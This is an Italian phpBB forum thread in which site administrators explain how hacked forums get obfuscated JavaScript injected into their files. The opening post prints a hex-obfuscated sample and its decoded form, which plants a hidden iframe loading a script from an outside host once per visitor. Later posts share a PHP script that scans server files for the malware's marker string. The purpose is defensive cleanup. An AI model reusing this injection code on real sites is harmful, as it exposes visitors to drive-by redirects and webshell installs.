Pagina 1 di 3

Forum phpbb Hackerati!!??

Inviato: 05/10/2013, 20:33
da Pentambo
Improvvisamente il tuo forum impazzisce, continui redirect, segnalato su Google come sito malevolo, non riesci più ad accedere alla lista utenti, queste sono solo alcune delle conseguenze che si riscontrano in un forum HACKERATO dai soliti "SPAM HACKER", ovvero coloro che usano i siti in cui riescono a infilare codice javascript offuscato.

Restiamo in tema con i forum in PHPBB, tutti coloro che non lo sanno si chiederanno ma come fanno????

1) Si iscrivono e noi li attiviamo
2) Sfruttano le debolezze di altri siti con cui noi condividiamo la macchina server
3) Sono dei mostri in informatica e riescono a trovare bug anche nei forum con le ultime versioni aggiornate ( al 80% colpa delle varie MOD ).

Una volta che riescono ad avere accesso come AMMINISTRATORI ( root ) a tutti i vostri file inseriscono codice in JAVASCRIPT offuscato ovvero trasformato da semplice testo in esadecimale, il perché è molto semplice gli antivirus leggono il testo e non prendono in considerazione un comando offuscato, inoltre ad un occhio poco attento o pratico il codice può sembrare qualcosa di "NORMALE" e quindi non ci si allerta.

Voglio ora condividere con voi questa mia piccola conoscenza che mi sono fatto negli ultimi 2 anni, ogni qualvolta mi ritrovavo con un forum o un sito bucato e bloccato da Google.

Quello che vedete sotto è il codice offuscato in javascript:

Codice: Seleziona tutto

<!--81a338--><script type="text/javascript" language="javascript" >cygwm=;cuel=window;gxill=(1)?"0x":"123";vegwi=(5-3-1);try{--(document["body"])}catch(swufs){dmol=false;try{}catch(azbyw){dmol=21;}
if(1){qzj="17:5d:6c:65:5a:6b:60:66:65:17:5a:6e:6a:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:5a:6e:6a:27:30:1f:20:32:4:1:74:4:1:74"[cygwm](":");}cuel=qzj;qpg=[];for(ikl=22-20-2;-ikl+1391!=0;ikl+=1){nib=ikl;if((0x19==031))qpg+=String.fromCharCode(eval(gxill+cuel[1*nib])+0xa-vegwi);}hddrmg=eval;if(Math.ceil(5.5)===6)hddrmg(qpg)}</script><!--/81a338-->
Ho cancellato buona parte del codice per renderlo innocuo, ma quello che vedete vi da l'idea di come e cosa eventualmente cercare è facilmente individuabile in quanto il codice al 90% è racchiuso tra questi due tag:

<!--81a338--><!--/81a338-->

Fin dall'inizio si può benissimo notare che il codice è un comando in javascript, il corpo del codice è sempre uguale ma differenziare da un altro solo per il modo in cui viene dato lo spazio tra un numero e l'altro, in questo caso vediamo ( : ) due punti in altri casi viene codificato anche quello e vedremmo ( Zq ).

Ed ecco come si mostra il codice in chiaro:

Codice: Seleziona tutto

<!--81a338--><script type="text/javascript" language="javascript" > function z09 {
 var static='ajax';
 var controller='index.php';
 var z = document.createElement('iframe');

 z.src = [color=#FF0000]'http://oghynem.net/abd.php'[/color];
 z.style.position = 'absolute';
 z.style.color = '5';
 z.style.height = '5px';
 z.style.width = '5px';
 z.style.left = '10005';
 z.style.top = '10005';

 if (!document.getElementById('z')) {
 document.write('<p id=\'z\' class=\'z09\' ></p>');
 document.getElementById('z').appendChild(z);
 }
}
function SetCookie(cookieName,cookieValue,nDays,path) {
 var today = new Date();
 var expire = new Date();
 if (nDays==null || nDays==0) nDays1;
 expire.setTime(today.getTime() + 3600000*24*nDays);
 document.cookie = cookieName+"="+escape(cookieValue)
 + ";expires=" + expire.toGMTString() + ((path) ? "; path=" +path : ");
}
function GetCookie( name ) {
 var start = document.cookie.indexOf( name + "=" );
 var len = start + name.length + 1;
 if ( ( !start ) &&
 ( name != document.cookie.substring( 0, name.length ) ) )
 {
 return null;
 }
 if ( start == -1 ) return null;
 var end = document.cookie.indexOf( ";", len );
 if ( end == -1 ) end = document.cookie.length;
 return unescape( document.cookie.substring( len, end ) );
}
if (navigator.cookieEnabled)
{
if(GetCookie('visited_uq')==55)else{SetCookie('visited_uq', '55', '1', '/');

z09();
}
}</script><!--/81a338-->
Anche qui ho reso il codice inservibile, come potete notare all'inizio troviamo subito i comandi per un controllo ogni volta che si apre la pagina dove il codice si trova controlla se quel IP si era già collegato nel caso la risposta sia NO all'ora parte l'apertura in un iframe che collega all'indirizzo che vedete in rosso ad un file dove si trovano altri comandi, i quali sono sostanzialmente due in primis:

1) cercare di scaricare una webshell nel sito in modo da avere accesso garantito in futuro.
2) effetturare redirect " pubblicitario" a un qualsiasi sito

E si perché lo scopo principale di questi SPAMMER HACKER è quello di guadagnare soldi con la pubblicità, la maggior parte di questi personaggi non sono altro che distinti signori che lavorano nel campo del MARKETING e conoscono molto bene l'informatica o di solito si appoggiano a buoni informatici che sappiano bucare.
Dopo aver contattato migliaia di aziende in tutti i settori promettono milioni di visite UNIVOCHE in pochissimo tempo, logicamente dietro a un congruo compenso, l'unica via è quella di forzare le visite facendo diventare i siti di cui riescono a prendere il controllo dei siti ZOMBI da cui reindirizzare il maggior numero possibile di visitatori.

Nella mia piccola esperienza ho trovato siti tedeschi che vendevano pompe ad immersione, siti americani che vendevano esche vive per la pesca, siti italiani che vendevano funghi lascio a voi immaginare il resto.

La mia personale piccola soddisfazione è che conoscendo il codice lo individuo più velocemente cosi posso ripulire i file, nel caso non avessi fatto un backup preventivo, e inoltre avvertire le DITTE e metterle a conoscenza che hanno pagato un IMBROGLIONE per poter ricevere visite.

Mi auguro che questo mio piccolo TUTORIAL possa essere di aiuto a tutti voi nel controllo dei vostri Forum o Siti.

Gianni Caraci

Re: Forum phpbb Hackerati!!??

Inviato: 05/10/2013, 20:59
da Micogian
A me è capitato 2,3 volte, per fortuna ci siamo accorti subito.
Io credo che l'intrusione sia dovuta a qualche "exploit" che sfruttando un bug o una vulnerabilità di phpbb (o forse Coppermine) porta all'acquisizione di privilegi di Amministratore e quindi in grado di modificare i file del Server.
L'intrusione è in effetti un codice javascript ripetuto su centinaia di file, in genere index, page, e js.
Il fatto che sia sempre lo stesso codice in un certo senso è un vantaggio.
Io ho creato uno script che controlla ed elabora una lista dei file che contengono la stringa incriminata.

E' questo:

Codice: Seleziona tutto

<?php
// script che controlla la presenza di una stringa nei file php, js e html di tutte le directory del Server
// Micogian 30/05/2013
$stringa = "bf760a" ;
//$stringa = "link.php" ;
echo "La stringa " . $stringa . " &egrave; presente nei file:<br />";

function lista_directory($patch)
{
if($apri = opendir($patch))
	{
		while(false !== ($directory = readdir($apri)))
		{
		if(is_dir($patch."/".$directory))
			{
			 // Cartelle da non controllare
			if($directory !="." && $directory !=".." && $directory != "files" && $directory != "Angiospermae" && $directory != "Gymnospermae" && $directory != "Pteridophyta" && $directory != "thumbs" ) 
				{
				//echo $patch."/".$directory."<br />";
				lista_directory($patch."/".$directory);
				}
			}else{
				if(x__($directory) == "php" OR x__($directory) == "js" OR x__($directory) == "html")
				{
				//echo  $patch."/".$directory."<br />";
				$path =  $patch."/".$directory ;
				$dati=file($path);
				foreach ($dati as $num => $line)
					{
					// visualizza la lista dei file che contengono una determinata stringa
					$posizione = strpos($line, 'link.php');
					if($posizione != 0 )
						{
						echo $path. " - riga: " . $num . "<br />";
						}
					}
				}else{
					// file diversi da php, html, js
					//echo $directory."<br />";
				}
			}   
		}
	}	
}
function x__($file){
$tro = explode(".",$file);
return $tro[1];
}
lista_directory('.');
?>
Con questo file ho scoperto tutti i file corrotti che ho pulito o sostituito in breve tempo.

Re: Forum phpbb Hackerati!!??

Inviato: 05/10/2013, 21:25
da Barrnet
PhpBB è ritenuto molto sicuro, basti pensare che la versione Gold (3.0.0) era uscito indenne da un convegno di hacker a Las Vegas.
Il fatto è che spesso le mod, anche quelle rilasciate su phpbb.com e quindi filtrate dalla rigida politica di modding di tale forum, non sono scritte con lo stesso criterio di sicurezza.
La morale è sempre quella: evitate di installare roba inutile nel vostro server: vi serve per davvero una sala giochi? Vi serve per davvero una mod che abilita l'HTML? vi serve per davvero una mod che ha tonnellate di funzioni per poi sfruttarne un solo componente? (per esempio la chat stile facebook, nel caso della Social Network phpBB).

Io sono convinto che phpBB3 fornisca quasi tutte le funzioni necessarie, le poche cose aggiuntive è meglio aggiungerle tramite mod scritte con criterio e che siano veramente piccole aggiunte, magari fatte sfruttando le API di phpBB3. Una mod che ti aggiunge l'ultima risposta nell'indice non sarà mai pericolosa, perché è una piccola modifica ad un file functions e una al template, una mod come la sala giochi conterrà invece innumerevoli falle di sicurezza: più il codice aumenta e più aumentano le occasioni di trovare una falla.

Re: Forum phpbb Hackerati!!??

Inviato: 05/10/2013, 23:29
da gamearcade
Micogian ha scritto:A me è capitato 2,3 volte, per fortuna ci siamo accorti subito.
Io credo che l'intrusione sia dovuta a qualche "exploit" che sfruttando un bug o una vulnerabilità di phpbb (o forse Coppermine) porta all'acquisizione di privilegi di Amministratore e quindi in grado di modificare i file del Server.
L'intrusione è in effetti un codice javascript ripetuto su centinaia di file, in genere index, page, e js.
Il fatto che sia sempre lo stesso codice in un certo senso è un vantaggio.
Io ho creato uno script che controlla ed elabora una lista dei file che contengono la stringa incriminata.

E' questo:

Codice: Seleziona tutto

<?php
// script che controlla la presenza di una stringa nei file php, js e html di tutte le directory del Server
// Micogian 30/05/2013
$stringa = "bf760a" ;
//$stringa = "link.php" ;
echo "La stringa " . $stringa . " &egrave; presente nei file:<br />";

function lista_directory($patch)
{
if($apri = opendir($patch))
	{
		while(false !== ($directory = readdir($apri)))
		{
		if(is_dir($patch."/".$directory))
			{
			 // Cartelle da non controllare
			if($directory !="." && $directory !=".." && $directory != "files" && $directory != "Angiospermae" && $directory != "Gymnospermae" && $directory != "Pteridophyta" && $directory != "thumbs" ) 
				{
				//echo $patch."/".$directory."<br />";
				lista_directory($patch."/".$directory);
				}
			}else{
				if(x__($directory) == "php" OR x__($directory) == "js" OR x__($directory) == "html")
				{
				//echo  $patch."/".$directory."<br />";
				$path =  $patch."/".$directory ;
				$dati=file($path);
				foreach ($dati as $num => $line)
					{
					// visualizza la lista dei file che contengono una determinata stringa
					$posizione = strpos($line, 'link.php');
					if($posizione != 0 )
						{
						echo $path. " - riga: " . $num . "<br />";
						}
					}
				}else{
					// file diversi da php, html, js
					//echo $directory."<br />";
				}
			}   
		}
	}	
}
function x__($file){
$tro = explode(".",$file);
return $tro[1];
}
lista_directory('.');
?>
Con questo file ho scoperto tutti i file corrotti che ho pulito o sostituito in breve tempo.

Ci puoi spiegare dove inserire questo file? si puo nominare come si vuole? e caricarlo nella root? grazie

Re: Forum phpbb Hackerati!!??

Inviato: 06/10/2013, 0:28
da Pentambo
Micogian ha scritto:A me è capitato 2,3 volte, per fortuna ci siamo accorti subito.
Io credo che l'intrusione sia dovuta a qualche "exploit" che sfruttando un bug o una vulnerabilità di phpbb (o forse Coppermine) porta all'acquisizione di privilegi di Amministratore e quindi in grado di modificare i file del Server.
L'intrusione è in effetti un codice javascript ripetuto su centinaia di file, in genere index, page, e js.
Il fatto che sia sempre lo stesso codice in un certo senso è un vantaggio.
Io ho creato uno script che controlla ed elabora una lista dei file che contengono la stringa incriminata.

E' questo:

Codice: Seleziona tutto

<?php
// script che controlla la presenza di una stringa nei file php, js e html di tutte le directory del Server
// Micogian 30/05/2013
$stringa = "bf760a" ;
//$stringa = "link.php" ;
echo "La stringa " . $stringa . " &egrave; presente nei file:<br />";

function lista_directory($patch)
{
if($apri = opendir($patch))
	{
		while(false !== ($directory = readdir($apri)))
		{
		if(is_dir($patch."/".$directory))
			{
			 // Cartelle da non controllare
			if($directory !="." && $directory !=".." && $directory != "files" && $directory != "Angiospermae" && $directory != "Gymnospermae" && $directory != "Pteridophyta" && $directory != "thumbs" ) 
				{
				//echo $patch."/".$directory."<br />";
				lista_directory($patch."/".$directory);
				}
			}else{
				if(x__($directory) == "php" OR x__($directory) == "js" OR x__($directory) == "html")
				{
				//echo  $patch."/".$directory."<br />";
				$path =  $patch."/".$directory ;
				$dati=file($path);
				foreach ($dati as $num => $line)
					{
					// visualizza la lista dei file che contengono una determinata stringa
					$posizione = strpos($line, 'link.php');
					if($posizione != 0 )
						{
						echo $path. " - riga: " . $num . "<br />";
						}
					}
				}else{
					// file diversi da php, html, js
					//echo $directory."<br />";
				}
			}   
		}
	}	
}
function x__($file){
$tro = explode(".",$file);
return $tro[1];
}
lista_directory('.');
?>
Con questo file ho scoperto tutti i file corrotti che ho pulito o sostituito in breve tempo.

Ottimo lo proverò senz'altro, oltre a sostituire la parola da ricercare bisogna settare anche le dir da escludere giusto e nel caso uno non voglia esludere nessuna dir???

Re: Forum phpbb Hackerati!!??

Inviato: 06/10/2013, 9:58
da Micogian
Pentambo ha scritto: Ottimo lo proverò senz'altro, oltre a sostituire la parola da ricercare bisogna settare anche le dir da escludere giusto e nel caso uno non voglia esludere nessuna dir???
Basta togliere il primo IF, ma io esluderei almeno la cartella "files" che contiene solo allegati.

Re: Forum phpbb Hackerati!!??

Inviato: 06/10/2013, 17:19
da gamearcade
gamearcade ha scritto:Ci puoi spiegare dove inserire questo file? si puo nominare come si vuole? e caricarlo nella root? grazie
Ho nominato il file controllo.php è lo caricato nella root, quanto necessità lo lancio nel browser, il file ricerca il codice malevolo, cosi che poi si può agire ed eliminare il codice nei file annidati.

E tutto giusto quello che ho fatto è detto? :-)

Re: Forum phpbb Hackerati!!??

Inviato: 06/10/2013, 19:46
da Micogian
Si, e non è detto che questo si debba utilizzare solo per trovare i file con un codice malevolo, se vogliamo lo possiamo usare per trovare una stringa, una variabile, in sostanza qualsiasi cosa che sia all'interno dei file.

Re: Forum phpbb Hackerati!!??

Inviato: 07/10/2013, 2:08
da gamearcade
Micogian ha scritto:Si, e non è detto che questo si debba utilizzare solo per trovare i file con un codice malevolo, se vogliamo lo possiamo usare per trovare una stringa, una variabile, in sostanza qualsiasi cosa che sia all'interno dei file.
Grazie.

Re: Forum phpbb Hackerati!!??

Inviato: 08/10/2013, 15:36
da systemcrack
Micogian ha scritto:Si, e non è detto che questo si debba utilizzare solo per trovare i file con un codice malevolo, se vogliamo lo possiamo usare per trovare una stringa, una variabile, in sostanza qualsiasi cosa che sia all'interno dei file.
Scusate se da ignorante mi inserisco nella conversazione, per altro molto interessante.. ma questo non presuppone che uno sappia cosa sta cercando.. in caso contrario.. :?:

P.s.
Anche io poco più di un anno fa subii un defacciamento della index del vecchio forum e per trovare i file toccati non ho fatto altro che andare sul account del mio provider e ho guardato la data delle ultime modifiche dei files. In questo modo ho trovato subito i files manomessi...